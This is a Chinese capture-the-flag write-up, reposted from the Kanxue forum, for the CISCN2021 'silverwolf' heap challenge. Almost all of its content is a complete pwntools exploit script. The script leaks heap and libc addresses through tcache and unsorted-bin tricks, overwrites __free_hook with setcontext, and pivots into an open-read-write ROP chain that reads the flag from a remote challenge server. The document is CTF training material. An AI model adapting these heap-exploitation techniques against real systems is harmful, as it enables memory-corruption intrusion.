其他
CISCN2021 sliverwolf PWN400
本文为看雪论坛优秀文章
这道sliverwolf我个人觉得是中等偏上难度的堆题,很适合新手进阶训练,来分享一下我的题解。
一 • 题目概览
二 • 漏洞位置
三 • 利用思路
泄露libc
这里有两种思路:
劫持free_hook
分两次写入白名单orw链
这篇文章中有比较详细的描述,我就不从0讲了。
四 • EXP
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
libc_path = "./libc-2.27.so"
elf_path = "./silverwolf_2"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho='Your choice: ' # choice提示语
siz='Size: ' # size输入提示语
con='Content: ' # content输入提示语
ind='Index: ' # index输入提示语
edi='' # edit输入提示语
def add(index='',size='',c='1'):
sal(cho,c)
sal(ind,str(index))
sal(siz,str(size))
def free(index,c='4'):
sal(cho,c)
sal(ind,str(index))
def show(index,c='3'):
sal(cho,c)
sal(ind,str(index))
def edit(index,content='',c='2'):
sal(cho,c)
sal(ind,str(index))
sa(con,content)
# 获取pie基地址
def get_proc_base(p):
proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
info(hex(proc_base))
# 获取libc基地址
def get_libc_base(p):
libc_base = p.libs()[libc_path]
info(hex(libc_base))
def clean():
for i in range(14):
add(0,0x18)
add(0,0x58)
for i in range(12):
add(0,0x68)
def exp():
global io
#io = process(elf_path)
# get_proc_base(io)
# get_libc_base(io)
io = remote('124.70.110.211',23535)
clean()
add(0,0x78)
free(0)
show(0)
r(9)
raw = u64(r(6).ljust(8,'\x00'))
info("raw:"+hex(raw))
# pause()
heap = raw-0x1170
success("heap: "+hex(heap)) # 泄露了heapbase
edit(0,p64(heap+0x10)+p64(0)+'\n')
#free(0) # 0x555555757e90
add(0,0x78)
add(0,0x78) #这里申请到了tacahce pthread
#free(0)
edit(0,'\x00'*0x78)
for i in range(7):
free(0)
edit(0,p64(0)*2+'\n')
free(0) # 将tacahce pthread放入ub
show(0)
r(9)
libc.address = u64(ru('\x7f').ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
success("libc: "+hex(libc.address))
setcontext = libc.sym['setcontext']+53
free_hook = libc.sym['__free_hook']
success("free_hook:"+hex(free_hook))
success("setcontext:"+hex(setcontext))
#free(0) # 0x48 0x58 0x68 0x78
edit(0,p64(0x1)*8+p64(0)*3+p64(heap+0xef8)+p64(free_hook)+p64(heap+0xe18)+p64(heap+0xe80)+'\n') # 准备打freehook,0xf20和0xe80是相邻的,用来写orw链
success("orw:"+hex(heap+0xe18))
add(0,0x58) # 把freehook申请出来
edit(0,p64(setcontext)+'\n') # 改freehook为setcontext
#free(0)
add(0,0x48)
flag_addr = heap+0xf30
rsp = heap+0xe18
rbx = 0
rbp = 0
r12 = 0
r13 = 0
r14 = 0
pop_rdi = libc.address+0x00000000000215bf
stack_pivot = flat(
rbx,rbp,r12,r13,r14,
rsp+8,
pop_rdi,'./flag\x00'
)
info("stack_pivot len:"+hex(len(stack_pivot)))
edit(0,stack_pivot+'\n')
add(0,0x68) # 申请出0x50的写orw1
flag_str_addr = heap+0xf30
pop_rdi = libc.address+0x00000000000215bf
pop_rsi = libc.address+0x0000000000023eea
syscall = 0xD2745+libc.address #0x0f 0x05 0xc3
pop_rax = libc.address + 0x0000000000043ae8
pop_rdx_r10 = 0x0000000000130544+libc.address
flag_addr = heap+0x200
info(hex(pop_rdi)+' '+hex(pop_rsi))
orw1 = flat(
pop_rdi,
flag_str_addr,
pop_rsi,
0,
pop_rax,
2,
syscall,
pop_rdi,
3,
pop_rsi,
flag_addr,
pop_rdx_r10,
0x100,
)
edit(0,orw1+'\n')
add(0,0x78)
orw2 = flat(
0,
pop_rax,
0,
syscall,
pop_rdi,
1,
pop_rsi,
flag_addr,
pop_rdx_r10,
0x100,
0,
pop_rax,
1,
syscall
)
edit(0,orw2+'\n')
shell()
exp()
看雪ID:ScUpax0s
https://bbs.pediy.com/user-home-876323.htm
*本文由看雪论坛 ScUpax0s 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!